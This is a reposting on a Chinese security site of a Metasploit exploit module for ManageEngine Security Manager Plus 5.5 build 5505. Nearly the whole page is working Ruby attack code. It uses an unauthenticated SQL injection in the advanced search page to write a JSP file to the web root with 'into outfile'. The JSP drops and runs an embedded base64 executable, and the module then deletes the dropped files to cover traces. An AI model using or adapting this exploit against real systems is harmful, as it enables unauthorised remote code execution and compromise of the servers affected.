首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection
来源:http://www.metasploit.com 作者:sinn3r 发布时间:2012-10-29  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::EXE

 def initialize(info={})
  super(update_info(info,
   'Name'           => "ManageEngine Security Manager Plus 5.5 build 5505 SQL Injection",
   'Description'    => %q{
     This module exploits a SQL injection found in ManageEngine Security Manager Plus
    advanced search page, which results in remote code execution under the context of
    SYSTEM in Windows; or as the user in Linux.  Authentication is not required in order
    to exploit this vulnerability.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'xistence <xistence[at]0x90.nl>',  # Discovery & Metasploit module
     'sinn3r',                          # Improved Metasploit module
     'egypt'                            # Improved Metasploit module
    ],
   'References'     =>
    [
     ['EDB','22094'],
     ['BID', '56138']
    ],
   'Platform'       => ['win', 'linux'],
   'Targets'        =>
    [
     ['Automatic', {}],
     ['Windows',   { 'Arch' => ARCH_X86, 'Platform' => 'win'   }],
     ['Linux',     { 'Arch' => ARCH_X86, 'Platform' => 'linux' }]
    ],
   'DefaultTarget'  => 0,
   'Privileged'     => false,
   'DisclosureDate' => "Oct 18 2012"))

  register_options(
   [
    OptPort.new('RPORT', [true, 'The target port', 6262])
   ], self.class)
 end


 def check
  res = sqli_exec(Rex::Text.rand_text_alpha(1))

  if res and res.body =~ /Error during search/
   return Exploit::CheckCode::Appears
  else
   return Exploit::CheckCode::Safe
  end
 end


 def pick_target
  return target if target.name != 'Automatic'

  rnd_num   = Rex::Text.rand_text_numeric(1)
  rnd_fname = Rex::Text.rand_text_alpha(5) + ".txt"
  outpath   = "../../webapps/SecurityManager/#{rnd_fname}"

  @clean_ups << outpath

  sqli  = "#{rnd_num})) union select @@version,"
  sqli << (2..28).map {|e| e} * ","
  sqli << " into outfile \"#{outpath}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"
  sqli_exec(sqli)

  res = send_request_raw({'uri'=>"/#{rnd_fname}"})

  # What @@version returns:
  # Linux   = 5.0.36-enterprise
  # Windows = 5.0.36-enterprise-nt

  if res and res.body =~ /\d\.\d\.\d\d\-enterprise\-nt/
   print_status("#{rhost}:#{rport} - Target selected: #{targets[1].name}")
   return targets[1]  # Windows target
  elsif res and res.body =~ /\d\.\d\.\d\d\-enterprise/
   print_status("#{rhost}:#{rport} - Target selected: #{targets[2].name}")
   return targets[2]
  end

  return nil
 end


 #
 # We're in SecurityManager/bin at this point
 #
 def on_new_session(cli)
  if target['Platform'] == 'linux'
   print_warning("Malicious executable is removed during payload execution")
  end

  if cli.type == 'meterpreter'
   cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
  end

  @clean_ups.each { |f|
   base = File.basename(f)
   f = "../webapps/SecurityManager/#{base}"
   print_warning("#{rhost}:#{rport} - Deleting: \"#{base}\"")

   begin
    if cli.type == 'meterpreter'
     cli.fs.file.rm(f)
    else
     del_cmd = (@my_target['Platform'] == 'linux') ? 'rm' : 'del'
     f = f.gsub(/\//, '\\') if @my_target['Platform'] == 'win'
     cli.shell_command_token("#{del_cmd} \"#{f}\"")
    end

    print_good("#{rhost}:#{rport} - \"#{base}\" deleted")
   rescue ::Exception => e
    print_error("Unable to delete: #{e.message}")
   end
  }
 end


 #
 # Embeds our executable in JSP
 #
 def generate_jsp_payload
  opts                = {:arch => @my_target.arch, :platform => @my_target.platform}
  native_payload      = Rex::Text.encode_base64(generate_payload_exe(opts))
  native_payload_name = Rex::Text.rand_text_alpha(rand(6)+3)
  ext                 = (@my_target['Platform'] == 'win') ? '.exe' : '.bin'

  var_raw     = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_buf     = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_tmp     = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_path    = Rex::Text.rand_text_alpha(rand(8) + 3)
  var_proc2   = Rex::Text.rand_text_alpha(rand(8) + 3)

  if @my_target['Platform'] == 'linux'
   var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3)
   chmod = %Q|
   Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path});
   Thread.sleep(200);
   |

   var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3)
   cleanup = %Q|
   Thread.sleep(200);
   Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path});
   |
  else
   chmod   = ''
   cleanup = ''
  end

  jsp = %Q|
  <%@page import="java.io.*"%>
  <%@page import="sun.misc.BASE64Decoder"%>

  <%
  byte[] #{var_raw} = null;
  BufferedOutputStream #{var_ostream} = null;
  try {
   String #{var_buf} = "#{native_payload}";

   BASE64Decoder #{var_decoder} = new BASE64Decoder();
   #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString());

   File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}");
   String #{var_path} = #{var_tmp}.getAbsolutePath();

   #{var_ostream} = new BufferedOutputStream(new FileOutputStream(#{var_path}));
   #{var_ostream}.write(#{var_raw});
   #{var_ostream}.close();
   #{chmod}
   Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path});
   #{cleanup}
  } catch (Exception e) {
  }
  %>
  |

  jsp = jsp.gsub(/\n/, '')
  jsp = jsp.gsub(/\t/, '')

  jsp.unpack("H*")[0]
 end

 def sqli_exec(sqli_string)
  cookie  = 'STATE_COOKIE=&'
  cookie << 'SecurityManager/ID/174/HomePageSubDAC_LIST/223/SecurityManager_CONTENTAREA_LIST/226/MainDAC_LIST/166&'
  cookie << 'MainTabs/ID/167/_PV/174/selectedView/Home&'
  cookie << 'Home/ID/166/PDCA/MainDAC/_PV/174&'
  cookie << 'HomePageSub/ID/226/PDCA/SecurityManager_CONTENTAREA/_PV/166&'
  cookie << 'HomePageSubTab/ID/225/_PV/226/selectedView/HomePageSecurity&'
  cookie << 'HomePageSecurity/ID/223/PDCA/HomePageSubDAC/_PV/226&'
  cookie << '_REQS/_RVID/SecurityManager/_TIME/31337; '
  cookie << '2RequestsshowThreadedReq=showThreadedReqshow; '
  cookie << '2RequestshideThreadedReq=hideThreadedReqhide;'

  state_id = Rex::Text.rand_text_numeric(5)

  send_request_cgi({
   'method'    => 'POST',
   'uri'       => "/STATE_ID/#{state_id}/jsp/xmlhttp/persistence.jsp",
   'headers'   => {
    'Cookie' => cookie,
    'Accept-Encoding' => 'identity'
   },
   'vars_get'  => {
    'reqType'    =>'AdvanceSearch',
    'SUBREQUEST' =>'XMLHTTP'
   },
   'vars_post' => {
    'ANDOR'       => 'and',
    'condition_1' => 'OpenPorts@PORT',
    'operator_1'  => 'IN',
    'value_1'     => sqli_string,
    'COUNT'       => '1'
   }
  })
 end

 #
 # Run the actual exploit
 #
 def inject_exec(out)
  hex_jsp = generate_jsp_payload
  rnd_num = Rex::Text.rand_text_numeric(1)
  sqli  = "#{rnd_num})) union select 0x#{hex_jsp},"
  sqli << (2..28).map {|e| e} * ","
  sqli << " into outfile \"#{out}\" FROM mysql.user WHERE #{rnd_num}=((#{rnd_num}"

  print_status("#{rhost}:#{rport} - Trying SQL injection...")
  sqli_exec(sqli)

  fname = "/#{File.basename(out)}"
  print_status("#{rhost}:#{rport} - Requesting #{fname}")
  send_request_raw({'uri' => fname})

  handler
 end


 def exploit
  # This is used to collect files we want to delete later
  @clean_ups = []

  @my_target = pick_target
  if @my_target.nil?
   print_error("#{rhost}:#{rport} - Unable to select a target, we must bail.")
   return
  end

  jsp_name  = rand_text_alpha(rand(6)+3)
  outpath   = "../../webapps/SecurityManager/#{jsp_name + '.jsp'}"

  @clean_ups << outpath

  inject_exec(outpath)
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows Help program
·Microsoft Paint 5.1 Memory Cor
·hMailServer 5.3.3 IMAP Remote
·HP Operations Agent Opcode cod
·Aladdin Knowledge System Ltd -
·HP Operations Agent Opcode cod
·Aladdin Knowledge System Ltd.
·Microsoft Office professional
·Joomla Component com_jce remot
·Google SketchUp 8 - Stack Base
·Microsoft Office Picture Manag
·RealPlayer 15.0.6.14(.3g2) Wri
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved